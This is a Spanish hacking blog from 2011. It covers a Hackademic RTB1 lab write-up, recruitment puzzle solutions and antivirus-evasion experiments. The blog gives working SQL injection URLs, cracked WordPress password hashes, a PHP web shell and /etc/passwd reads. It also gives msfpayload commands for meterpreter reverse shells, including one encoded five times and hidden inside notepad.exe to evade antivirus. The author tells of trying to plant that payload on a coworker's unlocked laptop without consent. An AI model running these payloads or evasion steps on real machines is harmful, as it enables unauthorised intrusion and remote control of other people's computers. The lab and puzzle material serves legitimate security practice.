sábado, 3 de diciembre de 2011

Hackademia RTB1

Bueno, hoy voy a analizar un poco este wargame que me descargué hace un tiempecillo y que he estado probando este fin de semana..

Se trata de "Root the box", que lo conocí a través de la gente de sec-track:
http://www.sec-track.com/Wiki/wiki/index.php/Hackademic.RTB1
Se trata de una imagen de vmware que se puede abrir sin problemas con VirtualBox. Al levantar la máquina, ya coge IP mediante DHCP, así pues.. lo primero será, mirar a ver que tiene... así que.. vamos con un Nmap.

Después de ver esto, tenemos que el único puerto abierto y por lo tanto punto de entrada, se trata del servidor web, ya que ssh se encuentra cerrado.

Así pues si accedemos a la aplicación:
http://192.168.0.190/
podemos ver que no hay prácticamente nada.. tan solo un mensaje que indica que la aplicación principal está en /Hackademia_RTB1/. Al acceder, veremos que es una aplicación prácticamente en pañales, con tan solo 2 enlaces, así que si buscamos un poco, por ver si hay algo más que no esté enlazado...
  • http://192.168.0.190/phpMyAdmin/ - Forbidden
  • http://192.168.0.190/Hackademia_RTB1/wp-admin - Ok
  • http://192.168.0.190/Hackademia_RTB1/wp-login - Ok
  • http://192.168.0.190/Hackademia_RTB1/xmlrpc.php - Ok
  • http://192.168.0.190/Hackademia_RTB1/license.txt - Ok

viendo estos archivos, y si miramos dentro del contenido que envía el servidor, podemos confirmar que se trata de un Wordpress 1.5.1.1. Si se busca un poco por internet, se puede ver que esta versión dispone de diversas vulnerabilidades, entre ellas SQLinjection y XSS (que ésta no nos sirve).



Así que.. mirando, probando.. he visto que se trata de la variable "cat" que es vulnerable a SQLi. He estado buscando a ver si estaba documentada y no he visto demasiado, así que probando de hacerlo a mano. Así que pongo aquí algunas consultas que me han ido llevando a sacar información:
Para ver el número de columnas que tiene la sentencia:
  • http://192.168.0.190/Hackademic_RTB1/?cat=1%20order%20by%205
  • http://192.168.0.190/Hackademic_RTB1/?cat=1%20order%20by%206

hacemos un union con una consulta nuestra, para ver si existe algún campo que sea visible:
http://192.168.0.190/Hackademic_RTB1/?cat=1%20union%20select%201,2,3,4,5
En un principio no se puede observar cambios, pero esto es debido a que al final de la sentencia añade un "LIMIT 1" y como la primera parte ya nos devuelve "Uncategoritzed" es lo que utiliza todo el rato, así que se trata de que la primera consulta no devuelva nada, así que, hacemos que siempre sea falsa añadiendo la condición "and 1=0":
  • http://192.168.0.190/Hackademic_RTB1/?cat=1%20and%201=0%20union%20select%201,2,3,4,5

Con esto podemos ver que el campo "2" se muestra en el título, por lo tanto es el parámetro que usaremos para realizar extraer la información.
Buscando información acerca de las tablas que usa la base de datos de wordpress, vemos la especificación de la tabla de usuarios:
http://codex.wordpress.org/Database_Description#Table:_wp_users
lo que nos interesa son los campos user_login y user_pass:

1:NickJames:21232f297a57a5a743894a0e4a801fc3 - admin
2:JohnSmith:b986448f0bb9e5e124ca91d3d650f52c - PUPPIES
3:GeorgeMiller:7cbb3252ba6b7e9c422fac5334d22054 - q1w2e3
4:TonyBlack:a6e514f9486b83cb53d8d932f9a04292 - napoleon
5:JasonKonnors:8601f6e1028a8e8a966f6c33fcd9aec4 - maxwell
6:MaxBucky:50484c19f1afdaf3841a0d821ed393d2 - kernel

Entrando en cada uno de los perfiles dentro de wordpress, es posible ver que GeorgeMiller es el administrador de la aplicación, vamos, quien tiene más privilegios.

La idea, es modificar alguno de los archivos existentes en el sistema, por tal de poder ejecutar php y hacer un interprete de comandos vía web. Así pues, modificando el footer.php de uno de los templates, añadiendo código en php tenemos lo siguiente:



Así que mediante esta consola, ya podemos ejecutar comandos, como por ejemplo...:
  • http://192.168.0.190/Hackademic_RTB1/wp-content/themes/starburst/footer.php?cmd=whoami -> apache



Bueno, y ya que estoy y comento algo de la solución que proponen la gente de sec-track, comentar un par de cosas que no sabía y que me han parecido muy interesantes y útiles:
Para empezar, la codificación del archivo utilizando "char" para evitar las comillas y que se provoquen errores... esto lo he hecho inumerables veces con XSS, pero no se me había ocurrido para un SQLi.
  • http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),3,4,5

Y segundo, que al codificar el nombre del archivo en Hex, te permite obtenerlo igualmente:
  • http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file(0x2f6574632f706173737764),3,4,5
Ambos obtienen el archivo /etc/passwd, ya que con la siguiente petición provoca un error:
  • http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file('/etc/passwd'),3,4,5

Puzzle (IV de VI)

Hoy vamos a empezar por la segunda parte de cada uno de los puzzles.

Al resolver el primer puzzle, el de la imagen que nos comentaba mirar el código fuente... nos llevaba al llamado "Puzzle Δ" que es la segunda parte, y el principio de la solución final al enigma, bueno, a la url donde queremos acceder.

Así pues, una vez que hayamos resuelto estos tres últimos puzzles, podremos dejar nuestro CV en:
http://www.rtncyberjobs.com/pz2/Solution to Δ/Solution to Ω/Solution to Σ

Así pues vayamos a solucionarlo.

En este segundo caso, nos encontramos con la siguiente imagen:

En ella comenta que las imagenes suelen tener más información de la que podemos ver... así que... para empezar se me ocurren dos cosas que poder mirar.

La primera, metadatos o información contenida en ésta, así que para ir rápido y ver si se puede extraer algo, se descarga la imagen y se puede probar con hacer un "strings", con el siguiente resultado:

(no sé ve demasiado bien, pero la frase es: Getting warmer! Use concealment to uncover even more as you hunt for the solution string to this puzzle... like hide and seek...)

Al observar la frase obtenida, ya no he pensado en mirar más por esta vía. Además, de que da la pista de usar "hide and seek" un software para steganografía, que era la segunda opción :D

Al buscar este software, he podido ver que se trata de un software para imágenes GIF, por lo que no me sirve. Buscando un poco más, he podido ver un software que se llama JPHS (jpeg hide and seek), por lo que parece que es la opción perfecta.

Al ejecutar el programa me pide una contraseña para poder extraer la información oculta... y sin contraseña, no exporta nada... Por lo que revisando de nuevo la pista que tenemos con "strings", se me ocurre que lo de "use concealment to uncover" puede ser literal.. así que probando con "concealment" obtenemos el siguiente bonito mensaje:

así que ya está, tenemos la primera de las tres partes de la URL para utilizar!

Enlaces de interés:

http://www.jjtc.com/Steganography/tools.html

http://linux01.gwdg.de/~alatham/stego.html

viernes, 2 de diciembre de 2011

Puzzle (III de VI)

Bueno bueno... y aquí viene el tercer wargame, level 1...:P

Nos encontramos con el siguiente texto...


Este tiene ya más miga que no el resto...En el texto preguntan.. "¿Quien dijo...?" y al final nueve espacios en blanco, que suponemos es la solución, y lo que deberemos añadir a la url para pasar al siguiente nivel...

Como podemos ver, el texto tiene sus espacios, sus puntos y comas.. así que es de suponer.. que tan solo existe una transmutación entre las letras que aparecen y las originales. Es decir, tenemos que encontrar la correspondencia entre las letras, por tal de poder substituir cada una por su correspondiente original.

Dado que se trata de una página en inglés.. y que la frase, es de suponer que también lo estará.. el primer paso es realizar un estudio de la frecuencia que aparecen las letras.

http://en.wikipedia.org/wiki/Letter_frequency#Relative_frequencies_of_letters_in_the_English_language

El siguiente paso es coger y hacer un recuento de las letras que aparecen en el texto, así cómo un método para el cambio por las originales... sí, se puede hacer mediante folio y lápiz.. pero resulta demasiado coñ... tedioso. Así que, con un par de funciones de python es posible agilizar y facilitar esta tarea..

Para empezar, una función que nos haga el recuento de cada una de las letras que aparecen en la frase...:
(sustituir los _ por tabulaciones, que blogger no me deja meter el código..)
def cont(string):
_dic={}
_i=65
_while i<=90:
__dic[chr(i)]=string.count(chr(i))
__i=i+1
_return dic

Esta pequeña función, nos devuelve un diccionario con el número de veces que aparece cada letra. A continuación, otra función para hacer el cambio de letras, en función de otro diccionario que se encargue de las traducciones.

def subs(orig,trans):
_for i in trans.keys():
__orig=orig.replace(i,trans[i])
_print orig

Con estas dos pequeñas funciones definidas dentro del interprete de python, tan solo es necesario ir pasando las traducciones que creamos correctas, por tal de poder llegar a descifrar el mensaje.

Así pues, después de ir haciendo sustituciones.. nos queda el siguiente vector de traducciones:

trans= {'A': 'o', 'C': 'p', 'B': 't', 'E': 'l', 'D': 'a', 'G': 'h', 'F': 'u', 'I': 'i', 'K': 'm', 'J': 'b', 'M': 'j', 'L': 'c', 'N': 'd', 'Q': 'n', 'P': 'e', 'S': 'r', 'R': 'v', 'U': 'k', 'T': 'f', 'W': 'w', 'V': 's', 'X': 'y', 'Z': 'g'}

Así que dejo como ejercicio el acabar de juntar las partes, y descubrir que presidente dijo la frase...

jueves, 1 de diciembre de 2011

Puzzle (II de VI)

Bueno, pues aquí vamos a por el segundo!!

Para empezar tenemos la siguiente imagen llena de "interruptores":

Si alguien no se le ha ocurrido aún viendo la imagen, los interruptores están en dos posiciones, DOS, circuito abierto o cerrado o lo que es lo mismo.. 0 o 1. Sí, es un sistema binario, y si encima os tomáis la molestia de contarlos.. veréis que hay 96 interruptores, es decir, 12 grupos de 8 bits... vamos viéndolo ya?

Estos 96 bits, se puede representar por:

011000100110100101101110011000010111001001111001011100110110111101101100011101100110010101100100

Lo siguiente sería coger cada grupito de 8 bits.. (si alguien no sabe hacer la conversión a decimal.. que se lo mire.. o se lo haga mirar...)

01100010 = 61 (hex) = 97 dec = 'a'

con el resto... es muy fácil hacerlo, así que ahí lo dejo..


buen va.. si alguien ve que no le sale.. puede usar alguna aplicación web que le haga el trabajito...(cómo por ejemplo:)

miércoles, 30 de noviembre de 2011

Puzzle (I de VI)

Bueno, dejando un poco al margen el tema de cómo llegar a "Ownear" una máquina.. que tengo pensado probar unas cuantas cosas... voy a comentar 6 "ejercicios" para poder llegar a dejar tu CV en una empresa :D

Llegó a mi correo el siguiente enlace:

y al acceder a él, hay 3 wargames que constan de dos partes, y que al acabar puedes acceder a dejar tu CV, así que voy a intentar reventarles el chiringuito, contando cómo solucionarlos :)

Para empezar tenemos el reto 1:


Según la imagen, el romper un código puede venir de cualquier lado, y que es bueno considerar la fuente.. bueno.. así que es algo evidente, ¿no? sí se mira el código fuente de la página se puede observar el siguiente texto, que nos dirá cómo acceder al segundo nivel de éste reto.


Por lo que ya sabéis.. tan sólo es necesario añadir el "id key" a la Url del sitio, para llegar al siguiente nivel.

sábado, 29 de octubre de 2011

Owning, my friend! (II)

Lo de hoy es para comentar una anécdota que me ha ocurrido en mi actual interés de "cómo saltarme un antivirus"...

El caso es, que generando una máquina virtual con WinXP SP2, con antivirus McShit Enterprise 8.7 actualizado ayer mismo..

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=4445 X > payload.exe

Coloco el payload en el servidor web y en un recurso compartido por tal de tener dos lugares a los que acceder al archivo.

Si intento descargar el archivo a través de la web, el antivirus hace bien su trabajo, y saltando la protección de acceso al disco, salta una alerta (¡Bien por McShit!!).

Mientras investigaba en esto, pensé:
- ¿y si intento ofuscar un poco el binario?
Así que comentándolo con compañeros, me comentaron la posibilidad de utilizar técnicas "básicas" para la ocultación de binarios dentro de otros archivos (ya sean binarios o no). Probé dos técnicas:

La primera es la de incluir el ejecutable dentro de otro, mediante el "iexpress" de windows, haciendo un "instalador" para ambos. Esto me lo comentó un compañero, pero solo permite el mover el archivo, a la hora de ejecutarlo, desempaca los dos archivos, y cuando ejecuta nuestro ejecutable, el antivirus lo detecta, puesto que no está ofuscado ni nada y vuelve a estar visible para éste.

La segunda, ya la conocía, se trata de los Alternate Data Streams , pero para este caso, tampoco funciona, puesto que al enviar el archivo, si no se realiza la copia mediante un método que mantenga los ADS, no sirve para nada, además, que el antivirus también lo detecta :D
Siguiendo con el tema del origen del archivo... si intento copiar el archivo desde el recurso compartido al disco... también salta una alerta... Pero en el caso de ejecutar directamente el archivo desde el recurso compartido.. la cosa cambia..

No solo permite ejecutarlo, si no que mientras que realizas las acciones que quieras con el meterpreter, el antivirus ni se entera.

Así pues.. la idea puede ser, en lugar de meter un archivo que contenga un ejecutable malicioso.. uno que se encargue de montar el recurso compartido y ejecutar un archivo específico.. y que para esto, si que nos podría ir bien el iexpress ;)

Por otro lado, he empezado a leer cómo modificar un binario con tal de hacerlo indetectable a un antivirus... pero es jodido de cojones..:D así que supongo que cuando escriba lo próximo.. será algo más mundano.

lunes, 24 de octubre de 2011

Owning, my friend!


Después de tanto tiempo.. va siendo hora de que actualice un poco..

En mi empresa, tenemos la mala costumbre (o buena..) de que cuando alguien se deja el ordenador sin bloquear, hacer lo que llamamos un "follarín de los bosques" (dejo a elección del lector la búsqueda de esta "técnica"... .com), la cosa ha ido evolucionando... y da la casualidad que tengo un compañero un tanto bacilón y que llevo unos días intentando darle una lección... (ese compañero es Seifreed ;))


Así pues.. esa lección consistía en meterle un meterpreter en su máquina, y una vez ahí, asustarle un poco jugando con procesos, notepads, capturas de pantalla y demás... La máquina era un Win7 con el antivirus Comodo, por lo que lo primero de todo que hice fue crear un ejecutable con el payload desde el msfpayload:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=4445 X > seif.exe


a continuación este ejecutable lo subí a virustotal y cómo se puede ver en la imagen, dicho archivo no lo reconoce como malicioso (al menos el antivirus que él utiliza):



Así pues, tocaba ejecutar la operación "Owning Seifreed" en el momento en que se levantase y no bloquease el portátil... así que el primer paso era dejar un meterpreter escuchando para la conexión inversa desde su máquina.

./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4445 E

Unos minutos después.. ya estaba levantándose para dejarme el portátil sin protección alguna.. (muahhahaha) por lo que aproveche para conectarme a mi máquina vía http y descargarme el archivo que después ejecutaría...

http://192.168.0.153/seif.exe

Tuve la mala suerte de que me pilló con las manos en la masa, por lo que saltó sobre mi y empezamos a realizar un forcejeo... él para quitarme el mouse pensando que quería abrir alguna url jugosa.. (www.lolshock.com) y yo para cerrar la información de descargas y que no viese el archivo descargado para poder así esperar a la próxima oportunidad para ejecutarlo...

Desgraciadamente, un fin de semana de por medio, se ha dado cuenta del archivo descargado... así que hoy ya hemos jugado con el ejecutable ambos, con la idea de si realmente Comodo no lo detectaría o se lo tragaría...

Al ejecutar seif.exe el antivirus ha detectado que se trataba de un ejecutable que no conocía y por lo tanto lo ha "sandboxeado" para evitar males mayores... por lo que ha permitido realizar la conexión inversa, pero, sin permitir el acceso a ciertas llamadas por parte de meterpreter.
Por lo que he empezado a darle vueltas.. ¿por que lo ha detectado el antivirus?¿por que lo ha metido en una sandbox?¿que pasaría si lo detectase como un ejecutable conocido?


Así que ahí he decidido.. y si lo codifico dentro de un archivo conocido?¿también lo detectará como extraño? Por lo que hemos vuelto a generar otro payload, pero esta vez metiéndolo dentro del ejecutable del notepad, y por si acaso, codificacándolo 5 veces con shikata_ga_nai...

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=4445 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -x /tmp/notepad.exe -o /tmp/troloro.exe

Volvemos a subir el archivo generado a la máquina que queremos Ownear, y volvemos a ejecutar...

Se vuelve a realizar la conexión, y esta vez no ha aparecido ningún mensaje del "Comodo" indicándome nada extraño... pero vuelvo a no tener privilegios para nada.. por lo que supongo que ha vuelto a "sandboxear" el proceso..

Lo hemos estado mirando y en el modo "paranoid" parece ser que todo ejecutable que no conoce lo mete en una sandbox, mientras que si estuviese en modo protección "advanced", se lo traga todo... por lo que en ese caso, es prácticamente imposible saltarse esa restricción... Al investigar un poco más, también hemos podido ver que para analizar los ejecutables, se mira que tengan un tamaño máximo, con tal de no ralentizar los análisis.. pero este límite es de 40 MB.. así que es un poco grande como para generarlo.. y seguramente, lo seguiría metiendo en la sandbox, aún sin analizar..

Estos días intentaré mirarme un poco la forma de evadir antivirus... no como lo hace Selvi metiendo código vbasic en memoria... si no de intentar hacer menos detectable un ejecutable..
a ver si tengo éxito y puedo escribir algo ;)